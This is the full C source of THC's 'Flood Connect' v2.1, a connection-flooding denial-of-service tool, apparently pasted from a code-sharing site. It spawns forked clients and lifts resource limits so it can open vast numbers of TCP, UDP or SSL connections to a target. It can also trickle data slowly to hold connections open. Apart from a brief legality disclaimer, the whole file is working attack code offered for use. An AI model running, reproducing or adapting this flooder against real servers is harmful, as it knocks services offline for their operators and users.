flood_connect-2.1.c 16 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506
  1. /*
  2. * Flood Connecter v2.1 (c) 2003-2005 by van Hauser / THC <vh@thc.org>
  3. * http://www.thc.org
  4. *
  5. * Connection flooder, can also send data, keep connections open etc.
  6. *
  7. * Changes:
  8. * 2.1 Small enhancements and bugfixes
  9. * 2.0 added slow send options (-w/-W), very powerful!
  10. * 1.4 initial public release
  11. *
  12. * Use allowed only for legal purposes.
  13. *
  14. * To compile: cc -o flood_connect -O2 flood_connect.c
  15. * with openssl: cc -o flood_connect -O2 flood_connect.c -DOPENSSL -lssl
  16. *
  17. */
  18. #include <stdio.h>
  19. #include <string.h>
  20. #include <netdb.h>
  21. #include <netinet/in.h>
  22. #include <netinet/tcp.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <sys/stat.h>
  26. #include <sys/time.h>
  27. #include <sys/resource.h>
  28. #include <arpa/inet.h>
  29. #include <stdlib.h>
  30. #include <unistd.h>
  31. #include <fcntl.h>
  32. #include <signal.h>
  33. #include <time.h>
  34. #define PORT 80 // change this if you want
  35. #define UNLIMITED 0 // dont change this
  36. #define MAX_SOCKETS 65536 // change this if you want to
  37. #define MAXFORKS 10240
  38. #ifdef OPENSSL
  39. #include <openssl/ssl.h>
  40. #include <openssl/err.h>
  41. SSL *ssl = NULL;
  42. SSL_CTX *sslContext = NULL;
  43. RSA *rsa = NULL;
  44. RSA *ssl_temp_rsa_cb(SSL *ssl, int export, int keylength) {
  45. if (rsa == NULL)
  46. rsa = RSA_generate_key(512, RSA_F4, NULL, NULL);
  47. return rsa;
  48. }
  49. #endif
  50. typedef struct {
  51. int socket;
  52. #ifdef OPENSSL
  53. SSL *ssl;
  54. #endif
  55. int where;
  56. } socket_struct;
  57. char *prg;
  58. int verbose = 0;
  59. int forks = 0;
  60. int pids[MAXFORKS];
  61. int warn = 0;
  62. socket_struct sockets[MAX_SOCKETS];
  63. time_t last_send = 0;
  64. int send_delay = 0;
  65. int send_amount = 0;
  66. int use_ssl = 0;
  67. char *str = NULL;
  68. int str_len = 0;
  69. unsigned long int count = 0, successful = 0;
  70. void help() {
  71. printf("Flood Connect v2.0 (c) 2003 by van Hauser/THC <vh@thc.org> http://www.thc.org\n");
  72. printf("Syntax: %s [-S] [-u] [-p port] [-i file] [-n connects] [-N delay] [-c] [-C delay] [-d] [-D delay] [-w bytes] [-W delay] [-e] [-k] [-v] TARGET\n", prg);
  73. printf("Options:\n");
  74. printf(" -S use SSL after TCP connect (not with -u, sets default port=443)\n");
  75. printf(" -u use UDP protocol (default: TCP) (not usable with -c and -S)\n");
  76. printf(" -p port port to connect to (default: %d)\n", PORT);
  77. printf(" -f forks number of forks to additionally spawn (default: 0)\n");
  78. printf(" -i file data to send to the port (default: none)\n");
  79. printf(" -n connects maximum number of connects (default: unlimited)\n");
  80. printf(" -N delay delay in ms between connects (default: 0)\n");
  81. printf(" -c close after connect (and sending data, if used with -i)\n");
  82. printf(" use twice to shutdown SSL sessions hard (-S -c -c)\n");
  83. printf(" -C delay delay in ms before closing the port (use with -c) (default: 0)\n");
  84. printf(" -d dump data read from server\n");
  85. printf(" -D delay delay in ms before read+dump data (-d) from server (default: 0)\n");
  86. printf(" -w bytes amount of data from -i to send at one time (default: all)\n");
  87. printf(" -W delay delay in seconds between sends, required by -w option\n");
  88. printf(" -e stop when no more connects possible (default: retry forever)\n");
  89. printf(" -k no keep-alive after finnishing with connects - terminate!\n");
  90. printf(" -v verbose mode\n");
  91. printf(" TARGET target to flood attack (ip or dns)\n");
  92. printf("Connection flooder. Nothing more to say. Use only allowed for legal purposes.\n");
  93. exit(-1);
  94. }
  95. void kill_children(int signo) {
  96. int i = 0;
  97. printf("Aborted (made %s%ld successful connects)\n", forks ? "approx. " : "", successful + successful * forks);
  98. while (i < forks) {
  99. kill(pids[i], SIGTERM);
  100. i++;
  101. }
  102. usleep(10000);
  103. i = 0;
  104. while (i < forks) {
  105. kill(pids[i], SIGKILL);
  106. i++;
  107. }
  108. exit(-1);
  109. }
  110. void killed_children(int signo) {
  111. int i = 0;
  112. if (verbose) {
  113. printf("Killed (made %ld successful connects)\n", successful);
  114. }
  115. exit(0);
  116. }
  117. void resend() {
  118. int i = 0, send = send_amount;
  119. if (last_send + send_delay > time(NULL))
  120. return;
  121. last_send = time(NULL);
  122. for (i = 0; i < MAX_SOCKETS; i++) {
  123. if (sockets[i].socket >= 0) {
  124. if (sockets[i].where < str_len) {
  125. if (sockets[i].where + send > str_len)
  126. send = str_len - sockets[i].where;
  127. if (use_ssl) {
  128. #ifdef OPENSSL
  129. SSL_write(sockets[i].ssl, str + sockets[i].where, send);
  130. #endif
  131. } else {
  132. write(sockets[i].socket, str + sockets[i].where, send);
  133. }
  134. sockets[i].where += send;
  135. }
  136. }
  137. }
  138. }
  139. int main(int argc, char *argv[]) {
  140. unsigned short int port = PORT;
  141. long int max_connects = UNLIMITED;
  142. int close_connection = 0;
  143. int exit_on_sock_error = 0;
  144. int keep_alive = 1;
  145. int debug = 0;
  146. int dump = 0;
  147. long int connect_delay = 0, close_delay = 0, dump_delay = 0;
  148. char *infile = NULL;
  149. struct stat st;
  150. FILE *f = NULL;
  151. int i;
  152. int s;
  153. int ret;
  154. int err;
  155. int client = 0;
  156. int reads = 0;
  157. int sock_type = SOCK_STREAM;
  158. int sock_protocol = IPPROTO_TCP;
  159. char buf[8196];
  160. struct sockaddr_in target;
  161. struct hostent *resolv;
  162. struct rlimit rlim;
  163. int pidcount = 0, res = 0;
  164. prg = argv[0];
  165. err = 0;
  166. memset(sockets, 0, sizeof(sockets));
  167. for (i = 0; i < MAX_SOCKETS; i++)
  168. sockets[i].socket = -1;
  169. if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
  170. help();
  171. while ((i = getopt(argc, argv, "cf:C:dD:N:ei:kn:p:SuvVw:W:")) >= 0) {
  172. switch (i) {
  173. case 'c': close_connection++; break;
  174. case 'f': forks = atoi(optarg); break;
  175. case 'N': connect_delay = atol(optarg); break;
  176. case 'C': close_delay = atol(optarg); break;
  177. case 'D': dump_delay = atol(optarg); break;
  178. case 'W': send_delay = atoi(optarg); break;
  179. case 'w': send_amount = atoi(optarg); break;
  180. case 'd': dump = 1; break;
  181. case 'e': exit_on_sock_error = 1; break;
  182. case 'u': sock_type = SOCK_DGRAM;
  183. sock_protocol = IPPROTO_UDP;
  184. break;
  185. case 'v': verbose = 1; break;
  186. case 'V': debug = 1; break;
  187. case 'i': infile = optarg; break;
  188. case 'k': keep_alive = 0; break;
  189. case 'n': max_connects = atol(optarg); break;
  190. case 'S': use_ssl = 1;
  191. if (port == PORT)
  192. port = 443;
  193. #ifndef OPENSSL
  194. fprintf(stderr, "Error: Not compiled with openssl support, use -DOPENSSL -lssl\n");
  195. exit(-1);
  196. #endif
  197. break;
  198. case 'p': if (atoi(optarg) < 1 || atoi(optarg) > 65535) {
  199. fprintf(stderr, "Error: port must be between 1 and 65535\n");
  200. exit(-1);
  201. }
  202. port = atoi(optarg) % 65536;
  203. break;
  204. default: fprintf(stderr,"Error: unknown option -%c\n", i); help();
  205. }
  206. }
  207. if (optind + 1 != argc) {
  208. fprintf(stderr, "Error: target missing or too many commandline options!\n");
  209. exit(-1);
  210. }
  211. if ((send_amount || send_delay) && ! (send_amount && send_delay) ) {
  212. fprintf(stderr, "Error: you must specify both -w and -W options together!\n");
  213. exit(-1);
  214. }
  215. if (close_connection && send_delay) {
  216. fprintf(stderr, "Error: you can not use -c and -w/-W options together!\n");
  217. exit(-1);
  218. }
  219. if (forks > MAXFORKS) {
  220. fprintf(stderr, "Error: Maximum number of pids is %d, edit code and recompile\n", MAXFORKS);
  221. exit(-1);
  222. }
  223. if (infile != NULL) {
  224. if ((f = fopen(infile, "r")) == NULL) {
  225. fprintf(stderr, "Error: can not find file %s\n", infile);
  226. exit(-1);
  227. }
  228. fstat(fileno(f), &st);
  229. str_len = (int) st.st_size;
  230. str = malloc(str_len);
  231. fread(str, str_len, 1, f);
  232. fclose(f);
  233. }
  234. if ((resolv = gethostbyname(argv[argc-1])) == NULL) {
  235. fprintf(stderr, "Error: can not resolve target\n");
  236. exit(-1);
  237. }
  238. memset(&target, 0, sizeof(target));
  239. memcpy(&target.sin_addr.s_addr, resolv->h_addr, 4);
  240. target.sin_port = htons(port);
  241. target.sin_family = AF_INET;
  242. if (connect_delay > 0)
  243. connect_delay = connect_delay * 1000; /* ms to microseconds */
  244. else
  245. connect_delay = 1;
  246. if (close_delay > 0)
  247. close_delay = close_delay * 1000; /* ms to microseconds */
  248. else
  249. close_delay = 1;
  250. if (dump_delay > 0)
  251. dump_delay = dump_delay * 1000; /* ms to microseconds */
  252. else
  253. dump_delay = 1;
  254. rlim.rlim_cur = MAXFORKS + 1;
  255. rlim.rlim_max = MAXFORKS + 2;
  256. ret = setrlimit(RLIMIT_NPROC, &rlim);
  257. #ifndef RLIMIT_NOFILE
  258. #ifdef RLIMIT_OFILE
  259. #define RLIMIT_NOFILE RLIMIT_OFILE
  260. #endif
  261. #endif
  262. rlim.rlim_cur = 60000;
  263. rlim.rlim_max = 60001;
  264. ret = setrlimit(RLIMIT_NOFILE, &rlim);
  265. rlim.rlim_cur = RLIM_INFINITY;
  266. rlim.rlim_max = RLIM_INFINITY;
  267. ret = setrlimit(RLIMIT_NPROC, &rlim);
  268. ret = setrlimit(RLIMIT_NOFILE, &rlim);
  269. if (verbose) {
  270. if (ret == 0)
  271. printf("setrlimit for unlimited filedescriptors succeeded.\n");
  272. else
  273. printf("setrlimit for unlimited filedescriptors failed.\n");
  274. }
  275. for (i = 3; i < 4096; i++)
  276. close(i);
  277. printf("Starting flood connect attack on %s port %d\n", inet_ntoa((struct in_addr)target.sin_addr), port);
  278. (void) setvbuf(stdout, NULL, _IONBF, 0);
  279. if (verbose)
  280. printf("Writing a \".\" for every 100 connect attempts\n");
  281. ret = 0;
  282. count = 0;
  283. successful = 0;
  284. i = 1;
  285. s = -1;
  286. res = 1;
  287. while(pidcount < forks && res != 0) {
  288. res = pids[pidcount] = fork();
  289. pidcount++;
  290. }
  291. if (res == 0) {
  292. client = 1;
  293. signal(SIGTERM, killed_children);
  294. }
  295. if (res != 0) {
  296. if (verbose && pidcount > 0)
  297. printf("Spawned %d clients\n", pidcount);
  298. signal(SIGTERM, kill_children);
  299. signal(SIGINT, kill_children);
  300. signal(SIGSEGV, kill_children);
  301. signal(SIGHUP, kill_children);
  302. }
  303. if (use_ssl) {
  304. #ifdef OPENSSL
  305. SSL_load_error_strings();
  306. SSLeay_add_ssl_algorithms();
  307. // context: ssl2 + ssl3 is allowed, whatever the server demands
  308. if ((sslContext = SSL_CTX_new(SSLv23_method())) == NULL) {
  309. if (verbose) {
  310. err = ERR_get_error();
  311. fprintf(stderr, "SSL: Error allocating context: %s\n", ERR_error_string(err, NULL));
  312. }
  313. res = -1;
  314. }
  315. // set the compatbility mode
  316. SSL_CTX_set_options(sslContext, SSL_OP_ALL);
  317. // we set the default verifiers and dont care for the results
  318. (void) SSL_CTX_set_default_verify_paths(sslContext);
  319. SSL_CTX_set_tmp_rsa_callback(sslContext, ssl_temp_rsa_cb);
  320. SSL_CTX_set_verify(sslContext, SSL_VERIFY_NONE, NULL);
  321. #endif
  322. }
  323. while (count < max_connects || max_connects == UNLIMITED) {
  324. if (ret >= 0) {
  325. if ((s = socket(AF_INET, sock_type, sock_protocol)) < 0) {
  326. if (verbose && warn == 0) {
  327. perror("Warning (socket)");
  328. warn = 1;
  329. }
  330. if (exit_on_sock_error)
  331. exit(0);
  332. } else {
  333. setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
  334. }
  335. }
  336. if (s >= 0) {
  337. ret = connect(s, (struct sockaddr *)&target, sizeof(target));
  338. if (use_ssl && ret >= 0) {
  339. #ifdef OPENSSL
  340. if ((ssl = SSL_new(sslContext)) == NULL) {
  341. if (verbose) {
  342. err = ERR_get_error();
  343. fprintf(stderr, "Error preparing an SSL context: %s\n", ERR_error_string(err, NULL));
  344. }
  345. ret = -1;
  346. } else
  347. SSL_set_fd(ssl, s);
  348. if (ret >= 0 && SSL_connect(ssl) <= 0) {
  349. printf("ERROR %d\n", SSL_connect(ssl));
  350. if (verbose) {
  351. err = ERR_get_error();
  352. fprintf(stderr, "Could not create an SSL session: %s\n", ERR_error_string(err, NULL));
  353. }
  354. ret = -1;
  355. }
  356. if (debug)
  357. fprintf(stderr, "SSL negotiated cipher: %s\n", SSL_get_cipher(ssl));
  358. #endif
  359. }
  360. count++;
  361. if (ret >= 0) {
  362. successful++;
  363. warn = 0;
  364. if (str_len > 0) {
  365. sockets[s].socket = s;
  366. sockets[s].where = 0;
  367. #ifdef OPENSSL
  368. sockets[s].ssl = ssl;
  369. #endif
  370. if (! use_ssl)
  371. if (setsockopt(s, SOL_TCP, TCP_NODELAY, &i, sizeof(i)) != 0)
  372. perror("Warning (setsockopt SOL_TCP)");
  373. if (send_delay > 0) {
  374. resend();
  375. } else {
  376. if (use_ssl) {
  377. #ifdef OPENSSL
  378. SSL_write(ssl, str, str_len);
  379. #endif
  380. } else {
  381. write(s, str, str_len);
  382. }
  383. }
  384. }
  385. if (dump) {
  386. fcntl(s, F_SETFL, O_NONBLOCK);
  387. if (dump_delay > 0)
  388. usleep(dump_delay);
  389. if (use_ssl) {
  390. #ifdef OPENSSL
  391. reads = SSL_read(ssl, buf, sizeof(buf));
  392. #endif
  393. } else {
  394. reads = read(s, buf, sizeof(buf));
  395. }
  396. if (reads > 0)
  397. printf("DATA: %s\n", buf);
  398. if (send_delay > 0)
  399. resend();
  400. }
  401. if (close_connection) {
  402. if (close_delay > 0)
  403. usleep(close_delay);
  404. #ifdef OPENSSL
  405. if (use_ssl && close_connection == 1)
  406. SSL_shutdown(ssl);
  407. #endif
  408. close(s);
  409. #ifdef OPENSSL
  410. if (use_ssl && close_connection > 1)
  411. SSL_shutdown(ssl);
  412. #endif
  413. }
  414. if (connect_delay > 0)
  415. usleep(connect_delay);
  416. } else {
  417. if (verbose && warn == 0) {
  418. perror("Warning (connect)");
  419. warn = 1;
  420. }
  421. if (exit_on_sock_error)
  422. exit(0);
  423. }
  424. if (verbose)
  425. if (count % 100 == 0)
  426. printf(".");
  427. if (send_delay > 0)
  428. resend();
  429. } else
  430. close(s);
  431. }
  432. if (client) {
  433. while (1) {}
  434. } else {
  435. if (verbose)
  436. printf("\n");
  437. printf("Done (made %s%ld successful connects)\n", forks ? "approx. " : "", successful + successful * forks);
  438. if (send_delay) {
  439. int end = 0;
  440. printf("Still sending data ...\n");
  441. while(! end) {
  442. resend();
  443. sleep(send_delay);
  444. end = 1;
  445. for (i = 0; i < MAX_SOCKETS; i++)
  446. if (sockets[i].socket >= 0 && sockets[i].where < str_len)
  447. end = 0;
  448. }
  449. }
  450. if (keep_alive && close_connection == 0) {
  451. printf("Press <ENTER> to terminate connections and this program\n");
  452. (void) getc(stdin);
  453. }
  454. if (forks > 0) {
  455. usleep(1 + connect_delay + dump_delay + close_delay);
  456. while (i < forks) {
  457. kill(pids[i], SIGTERM);
  458. i++;
  459. }
  460. usleep(10000);
  461. i = 0;
  462. while (i < forks) {
  463. kill(pids[i], SIGKILL);
  464. i++;
  465. }
  466. }
  467. }
  468. return 0;
  469. }